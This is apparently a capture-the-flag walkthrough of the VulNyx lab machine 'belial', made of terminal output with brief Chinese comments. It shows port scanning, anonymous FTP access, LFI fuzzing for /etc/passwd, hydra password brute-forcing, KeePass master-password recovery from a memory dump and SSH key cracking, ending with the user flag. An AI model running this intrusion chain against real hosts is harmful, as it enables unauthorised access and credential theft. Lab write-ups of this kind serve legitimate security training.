4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.951 seconds (131.21 hosts/sec). 4 responded ❯ export ip=192.168.60.233 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- I scanned my computer so many times, it thinks we're dating.
[~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.233:22 Open 192.168.60.233:80 Open 192.168.60.233:2121 Open 192.168.60.233:8090 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-06 10:39 CST Initiating ARP Ping Scan at 10:39 Scanning 192.168.60.233 [1 port] Completed ARP Ping Scan at 10:39, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:39 Completed Parallel DNS resolution of 1 host. at 10:39, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 10:39 Scanning 192.168.60.233 [4 ports] Discovered open port 80/tcp on 192.168.60.233 Discovered open port 22/tcp on 192.168.60.233 Discovered open port 2121/tcp on 192.168.60.233 Discovered open port 8090/tcp on 192.168.60.233 Completed SYN Stealth Scan at 10:39, 0.03s elapsed (4 total ports) Nmap scan report for 192.168.60.233 Host is up, received arp-response (0.00073s latency). Scanned at 2025-03-06 10:39:42 CST for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 2121/tcp open ccproxy-ftp syn-ack ttl 64 8090/tcp open opsmessaging syn-ack ttl 63 MAC Address: 08:00:27:0A:19:DD (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds Raw packets sent: 5 (204B) | Rcvd: 5 (204B)
❯ ftp anonymous@$ip 2121 Connected to 192.168.60.233. 220 Blessed are those of the left-hand path! 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 229 Entering Extended Passive Mode (|||32145|) 150 Here comes the directory listing. drwxrwxr-x 2 1001 1001 4096 Jul 14 2023 resources 226 Directory send OK. ftp> cd resources 250 Directory successfully changed. ftp> dir 229 Entering Extended Passive Mode (|||34705|) 150 Here comes the directory listing. -rw-r--r-- 1 1001 1001 18 Jul 14 2023 users.list 226 Directory send OK. ftp> get users.list local: users.list remote: users.list 229 Entering Extended Passive Mode (|||30941|) 150 Opening BINARY mode data connection for users.list (18 bytes). 100% |******************************| 18 15.32 KiB/s 00:00 ETA 226 Transfer complete. 18 bytes received in 00:00 (7.51 KiB/s) ftp> exit 221 Goodbye.
❯ curl http://192.168.60.233:8090/secret.php\? -iv * Trying 192.168.60.233:8090... * Connected to 192.168.60.233 (192.168.60.233) port 8090 * using HTTP/1.x > GET /secret.php HTTP/1.1 > Host: 192.168.60.233:8090 > User-Agent: curl/8.11.1 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK HTTP/1.1 200 OK < Host: 192.168.60.233:8090 Host: 192.168.60.233:8090 < Date: Thu, 06 Mar 2025 04:20:03 GMT Date: Thu, 06 Mar 2025 04:20:03 GMT < Connection: close Connection: close < X-Powered-By: PHP/7.4.21 X-Powered-By: PHP/7.4.21 < Content-type: text/html; charset=UTF-8 Content-type: text/html; charset=UTF-8 <
<html> <body> <p>Hello Kohanic,<br> 你好 Kohanic <br> If you've made it this far, it's clear that you're already one step away from finding your reward!<br> 如果您已经走到这一步，那么很明显您离找到您的奖励只有一步之遥！ <br> Yours sincerely,<br> Gelal</p> <!-- Remember to identify the correct parameter --> <!-- 记得识别正确的参数 --> * shutting down connection #0
我猜测是LFI，尝试模糊测试一下，无果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
❯ wfuzz -c -u "http://192.168.60.233:8090/secret.php?FUZZ=/etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hw 35 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.233:8090/secret.php?FUZZ=/etc/passwd Total requests: 207643 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== Total time: 391.3108 Processed Requests: 207643 Filtered Requests: 207643 Requests/sec.: 530.6344
❯ curl http://192.168.60.233:8090/secret.php\?fbd94d1aa64007cbb89b9c0156ac23edba23f7fd57b2d765e4e88712ee642739 <html> <body> <p>Hello Kohanic,<br> <br> If you've made it this far, it's clear that you're already one step away from finding your reward!<br> <br> Yours sincerely,<br> Gelal</p> <!-- Remember to identify the correct parameter --> Fugitive, witch-doctor, born in an impoverished stable Could this flimsy child truly be the predicted scepter? Balaam’s prophecy, Judah’s predictions Artificial pages of an unearthly fetish Interpreter of the Torah Worshipped by the Magi of Arabia Hobo of Aramaic Tongues 逃亡者，巫医，在一个贫穷的马厩出生 这个脆弱的孩子真的能成为被预言的权杖吗？ 巴兰的预言，犹大的预测 来自超凡神秘偶像的人造页面 托拉解释者 阿拉伯魔术师崇拜着 亚美尼亚语方言流浪汉 </body> </html>
❯ hydra -l kohanic -P dic.txt ftp://$ip:2121 -I Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-06 12:46:50 [WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 52 login tries (l:1/p:52), ~4 tries per task [DATA] attacking ftp://192.168.60.233:2121/ 1 of 1 target completed, 0 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-06 12:47:06
❯ cewler -o dic2.txt http://192.168.60.233:8090/secret.php\?fbd94d1aa64007cbb89b9c0156ac23edba23f7fd57b2d765e4e88712ee642739 /home/Pepster/.pyenv/versions/3.9.10/lib/python3.9/site-packages/pypdf/_crypt_providers/_cryptography.py:32: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0. from cryptography.hazmat.primitives.ciphers.algorithms import AES, ARC4
2025-03-06 12:45:44 [py.warnings] WARNING: /home/Pepster/.pyenv/versions/3.9.10/lib/python3.9/site-packages/scrapy/selector/unified.py:83: UserWarning: Selector got both text and root, root is being ignored. super().__init__(text=text, type=st, root=root, **kwargs)
╭────────────────────────────────── CeWLeR v.1.2.0 - Custom Word List generator Redefined ──────────────────────────────────╮ │ │ │ URL: http://192.168.60.233:8090/secret.php?fbd94d1aa64007cbb89b9c0156ac23edba23f7fd57b2d765e4e88712ee642739 │ │ Strategy: Exact same domain, max depth 2, 20 reqs/s │ │ Words: Mixed case, incl. numbers, min. 5 chars. │ │ User-Agent: Default (Mozilla/5.0 (Macintosh; Intel Mac OS...) │ │ Output: dic2.txt │ │ Time elapsed: 00:00 │ │ Requests: 1/1 │ │ Data received: 675.0 B │ │ Words found: 39 │ │ │ ╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
❯ hydra -l kohanic -P dic2.txt ftp://$ip:2121 -I Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-06 12:47:11 [DATA] max 16 tasks per 1 server, overall 16 tasks, 39 login tries (l:1/p:39), ~3 tries per task [DATA] attacking ftp://192.168.60.233:2121/ [2121][ftp] host: 192.168.60.233 login: kohanic password: witch-doctor 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-06 12:47:22
[*] Searching for the master password in memory dump.. done! [*] Found 16 candidates: ＿ËP3r-S#cR3+213! ＿uP3r-S#cR3+213! ＿CP3r-S#cR3+213! ＿§P3r-S#cR3+213! ＿AP3r-S#cR3+213! ＿)P3r-S#cR3+213! ＿P3r-S#cR3+213! ＿P3r-S#cR3+213! ＿HP3r-S#cR3+213! ＿P3r-S#cR3+213! ＿oP3r-S#cR3+213! ＿ P3r-S#cR3+213! ＿,P3r-S#cR3+213! ＿LP3r-S#cR3+213! ＿7P3r-S#cR3+213! ＿%P3r-S#cR3+213!
[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done! [+] Database.kdbx successfully unlocked using master password SuP3r-S#cR3+213!
❯ kpcli --kdb=Database.kdbx Provide the master password: *************************
KeePass CLI (kpcli) v3.8.1 is ready for operation. Type 'help'for a description of available commands. Type 'help <command>'for details on individual commands.
kpcli:/> dir === Groups === Database/ kpcli:/> cd Database/ kpcli:/Database> ls === Groups === General/ kpcli:/Database> cd General/ kpcli:/Database/General> ls === Entries === 0. belial ssh://{USERNAME}@{TITLE} kpcli:/Database/General> show belial -f
❯ vi id_rsa ❯ ssh2john id_rsa >hash ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status elizabeth1 (id_rsa) 1g 0:00:00:00 DONE (2025-03-06 16:50) 100.0g/s 121600p/s 121600c/s 121600C/s gilbert..buttons Use the "--show" option to display all of the cracked passwords reliably Session completed.
❯ ssh gelal@$ip -i id_rsa Enter passphrase for key 'id_rsa': gelal@belial:~$ cat user.txt VulNyx{3a96ac54dadf2aa5c3ebb59cbb80c191} gelal@belial:~$ sudo -l [sudo] password for gelal: Sorry, try again. [sudo] password for gelal: sudo: 1 incorrect password attempt gelal@belial:~$ cat .viminfo # This viminfo file was generated by Vim 9.0. # You may edit it if you're careful!
# Viminfo version |1,4
# Value of 'encoding' when this file was written *encoding=utf-8
# hlsearch on (H) or off (h): ~h # Command Line History (newest to oldest): :q |2,0,1689597929,,"q"
